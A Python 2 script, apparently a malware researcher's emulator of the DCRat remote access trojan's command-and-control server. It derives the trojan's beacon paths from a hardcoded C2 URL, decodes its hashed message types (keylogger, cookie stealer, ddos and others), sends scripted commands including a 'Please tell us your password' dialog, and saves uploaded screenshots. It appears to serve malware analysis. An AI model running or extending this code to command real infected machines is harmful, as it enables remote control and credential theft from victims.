```
import base64
import email
import hashlib
import urlparse
import BaseHTTPServer

commState = 0

# the MHost is used in hash computations
MHost = "http" + "://" + "domalo." + \
        "online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54" + \
        "/46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3" + \
        "/akcii239myzon0xwjlxqnn3b34w"

# the path on the server where the initial beacon goes
beaconPath = hashlib.sha1(MHost).hexdigest() + ".php"

# the path on the server where subsequent messages go
messagePath = hashlib.md5(hashlib.sha1(MHost).hexdigest()).hexdigest() + ".php"

# these are all the types of messages that DCRat may send to the server
msgs = ["RDC", "RDHW", "RDK", "RDStart_status", "RDStop_status",
        "beep_status", "browseurl_status", "cleardesktop_status",
        "clipboard", "clipboard_status", "clipboardget_status",
        "closecd_status", "closechat_status", "cm", "cookielog",
        "cookiestealer_status", "cookiestealerfile_status",
        "ddos_status", "deleteall_status", "desktopHide_status",
        "desktopShow_status", "dirs", "discord", "dismon_status",
        "drives", "exec_cs_code_status", "fm_delete_status",
        "fm_drives_status", "fm_get_status", "fm_newfolder_status",
        "fm_opendir_status", "fm_rename_status", "fm_unzip_status",
        "fm_upload_status", "fm_uploadu_status", "fm_zip_status",
        "forkbomb_status", "formlog", "frameworkversion", "fzlog",
        "k_log", "keyboardrecorder_status", "keyloggerstart_status",
        "keyloggerstop_status", "lcmd", "lcmd_status",
        "logoff_status", "m_comm", "m_comm_status", "m_list",
        "msgbox_status", "newuserpass_status", "opencd_status",
        "openchat_status", "passlog", "playaudiourl_status",
        "rdp_status", "s_comm", "setwallpaper_status", "shell_status",
        "shutdown_status", "speak_status", "steam_data", "sysinfo",
        "task", "taskbarHide_status", "taskbarShow_status",
        "taskkill_status", "taskstart_status", "telegram",
        "uninstall_status", "w_list"]

# find_msg_by_hash
# Use the specified user id to re-hash all possible message types to check
# for one that matches _hash sent by the client. If one can't be found, pass
# the _hash value back through.
def find_msg_by_hash(user, _hash):
    global msgs
    for msg in msgs:
        msg_hash = hashlib.md5(msg + user).hexdigest()
        if msg_hash == _hash:
            return msg
    else:
        return _hash

class HTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    def takeBeacon(self):
        print "beacon"
        self.wfile.write("ok")

    def takeMessage(self):
        print "message",
        query = urlparse.parse_qs(urlparse.urlsplit(self.path).query)

        # in a full server, __ds_setdata values would be recorded somewhere
        # and shown in the UI to the operator
        if query["type"][0] == "__ds_setdata":
            print "__ds_setdata",
            print find_msg_by_hash(query["__ds_setdata_user"][0], query["__ds_setdata_ext"][0])

        # allow the client to request variables from the server. the only
        # one we support is screenshot dimensions.
        elif query["type"][0] == "__ds_getdata":
            print "__ds_getdata",
```

```
77:             msg = find_msg_by_hash(query["__ds_getdata_user"][0], query["__ds_getdata_ext"][0])
78:             print msg
79:
80:             if msg == "s_comm":
81:                 self.wfile.write(base64.b64encode("W:1920-H:1080"))
82:
83:         else:
84:             print query["type"][0]
85:
86:     def takeSpecialMessage(self):
87:         global commState
88:
89:         print "special message",
90:         target = urlparse.urlsplit(self.path).path.split('/')[-1]
91:         (user, _hash) = target.split('.')
92:         msg = find_msg_by_hash(user, _hash)
93:         print msg
94:
95:         # in a full server, commands would be issued by the operator pressing
96:         # buttons rather than pre-scripted as in here.
97:         if msg == "comm":
98:             if commState > 3:
99:                 return
100:
101:             if commState == 0:
102:                 # hide desktop icons
103:                 self.wfile.write(base64.b64encode(
104:                     "COMMAND::<desktopHide>-DATA::<>"))
105:             elif commState == 1:
106:                 # speak
107:                 self.wfile.write(base64.b64encode(
108:                     "COMMAND::<speak>-DATA::<" +
109:                     base64.b64encode("Hello this is tech support") + ">"))
110:             elif commState == 2:
111:                 # msgbox
112:                 self.wfile.write(base64.b64encode(
113:                     "COMMAND::<msgbox>-DATA::<TEXT:" +
114:                     base64.b64encode("Please tell us your password") +
115:                     "-ICON:INFORMATION-CAP:" +
116:                     base64.b64encode("Password") + ">"))
117:             elif commState == 3:
118:                 # taskstart a calculator
119:                 self.wfile.write(base64.b64encode(
120:                     "COMMAND::<taskstart>-DATA::<calc>"))
121:             commState += 1
122:
123:     # do_GET
124:     # handle GET request
125:     def do_GET(self):
126:         self.send_head()
127:
128:         target = urlparse.urlsplit(self.path).path.split('/')[-1]
129:
130:         # handle initial beacon
131:         if target == beaconPath:
132:             self.takeBeacon()
133:         # handle __ds_setdata and __ds_getdata messages
134:         elif target == messagePath:
135:             self.takeMessage()
136:         # handle comms messages
137:         else:
138:             self.takeSpecialMessage()
139:
140:     # do_POST
141:     # receive uploaded files - only screenshots supported here
142:     def do_POST(self):
143:         print self.headers
144:         self.wfile.write("HTTP/1.1 100 Continue\r\nConnection: keep-alive\r\n\r\n")
145:         body = self.rfile.read(int(self.headers.getheader("Content-Length")))
146:         msg = "Content-Type: " + self.headers.getheader("Content-Type") + \
147:               "\r\n\r\n" + body
148:         msg = email.message_from_string(msg)
149:         if msg.is_multipart():
150:             for payload in msg.get_payload():
151:                 if payload.get_filename() != None and \
152:                    payload.get_filename().find(".jpg") >= 0:
```

```
153:                     outf = open("screen.png", "w")
154:                     outf.write(payload.get_payload())
155:                     outf.close()
156:
157:     def do_HEAD(self):
158:         pass
159:
160:     def send_head(self):
161:         self.send_response(200)
162:         self.send_header("Content-Type", "text/plain")
163:         self.send_header("Connection", "close")
164:         self.end_headers()
165:
166: def main():
167:     port = 8080
168:     HTTPRequestHandler.protocol = "HTTP/1.0"
169:     httpd = BaseHTTPServer.HTTPServer(("", port), HTTPRequestHandler)
170:     sa = httpd.socket.getsockname()
171:     print "Serving HTTP on", sa[0], "port", sa[1], "..."
172:     httpd.serve_forever()
173:
174: main()
175:
```